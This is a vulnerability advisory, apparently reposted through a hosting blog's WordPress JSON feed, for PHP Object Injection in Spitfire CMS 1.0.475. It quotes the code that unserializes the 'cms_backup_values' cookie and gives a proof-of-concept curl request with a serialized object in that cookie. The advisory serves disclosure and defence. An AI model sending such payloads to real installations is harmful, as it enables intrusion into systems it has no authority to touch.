\nSpitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection<\/p>\n
Vendor: Claus Muus
\nProduct web page: http:\/\/spitfire.clausmuus.de
\nAffected version: 1.0.475<\/p>\n
Summary: Spitfire is a system to manage the content of webpages.<\/p>\n
Desc: The application is prone to a PHP Object Injection vulnerability
\ndue to the unsafe use of unserialize() function. A potential attacker,
\nauthenticated, could exploit this vulnerability by sending specially
\ncrafted requests to the web application containing malicious serialized
\ninput.<\/p>\n
———————————————————————–
\ncms\/edit\/tpl_backup.inc.php:
\n—————————-
\n47: private function status ()
\n48: {
\n49: $status = array ();
\n50:
\n51: $status[‘values’] = array ();
\n52: $status[‘values’] = isset ($_COOKIE[‘cms_backup_values’]) ? unserialize ($_COOKIE[‘cms_backup_values’]) : array ();
\n…
\n…
\n77: public function save ($values)
\n78: {
\n79: $values = array_merge ($this->status[‘values’], $values);
\n80: setcookie (‘cms_backup_values’, serialize ($values), time()+60*60*24*30);
\n81: }
\n———————————————————————–<\/p>\n
Tested on: nginx<\/p>\n
Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
\n@zeroscience<\/p>\n
Advisory ID: ZSL-2022-5720
\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2022-5720.php<\/p>\n
28.09.2022<\/p>\n
—<\/p>\n
> curl -isk -XPOST http:\/\/10.0.0.2\/cms\/edit\/tpl_backup_action.php \\
\n-H ‘Content-Type: application\/x-www-form-urlencoded’
\n-H ‘Accept: *\/*’
\n-H ‘Referer: http:\/\/10.0.0.2\/cms\/edit\/cont_index.php?tpl=backup’
\n-H ‘Accept-Encoding: gzip, deflate’
\n-H ‘Accept-Language: en-US,en;q=0.9’
\n-H ‘Connection: close’ \\
\n-H ‘Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c’ \\
\n–data ‘action=save&&value=1’
\n#–data ‘action=save&&value[files]={}’<\/p>\n","protected":false},"excerpt":{"rendered":"
Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection Vendor: Claus Muus Product web page: http:\/\/spitfire.clausmuus.de Affected version: 1.0.475 Summary: Spitfire is a system to manage the content of webpages. Desc: The application is prone to a PHP Object Injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated, could exploit this vulnerability …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34590","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34590"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590\/revisions"}],"predecessor-version":[{"id":34600,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34590\/revisions\/34600"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}